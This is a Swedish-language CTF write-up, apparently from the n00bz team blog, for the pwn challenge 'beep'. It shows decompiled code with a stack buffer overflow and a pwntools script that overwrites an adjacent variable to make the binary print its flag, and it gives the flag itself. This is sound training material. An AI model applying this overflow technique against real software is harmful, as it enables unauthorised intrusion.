beep

Kategori

Pwn

Beskrivning

Kenneth verkar ha problem med kommunikationen till andra system han tagit över. Harriet har nämligen hittat något slags litet testprogram vars syfte verkar vara att testa att en anslutning fungerar.

Testprogrammet verkar vara ganska minimalt, men även små program kan innehålla buggar…

Anslut till undutmaning-beep.chals.io:443 och testa anslutningen du också.

Lösning

Öppnar vi den bifogade binären beep i IDA och tittar på main-funktionen ser vi att programmet skriver ut flaggan om variabeln v5 är 1337.

int __fastcall main(int argc, const char **argv, const char **envp)
{
  _BYTE buf[108]; // [rsp+0h] [rbp-70h] BYREF
  int v5; // [rsp+6Ch] [rbp-4h]

  setup(argc, argv, envp);
  printf("* beeeeeeeeeeeeeeeeeeeeeeeeeeep *\n> ");
  read(0, buf, 264u);
  if ( v5 == 1337 )
    system("cat flag");
  return 0;
}

Vi ser här att programmet läser in upp till 264 bytes från standard input och lagrar det i en buffer på 108 bytes. Direkt efter buffern i minnet hittar vi variabeln v5. Vi kan alltså skriva över v5 genom att skriva mer än 108 bytes till programmet.

För att lösa detta kan vi skriva ett Python-skript och använda pwntools för att skicka en payload som skriver över v5 med 1337.

#!/usr/bin/env python3

from pwn import *

EXE = ELF("./beep")

print(EXE.path)
if args.REMOTE:
    domain = "undutmaning-beep.chals.io"
    r = remote(domain, 443, ssl=True, sni=domain)
elif args.GDB:
    r = gdb.debug(EXE.path, "b main")
else:
    r = process(EXE.path)

payload = b"A" * 108 + p32(1337)

r.recvuntil(b"> ")
r.sendline(payload)
r.interactive()

När vi kör skriptet får vi flaggan: undut{don0td1sturbth3l0calz}

n00bz

Home of the n00bz CTF team.


By n00bz, 2025-03-29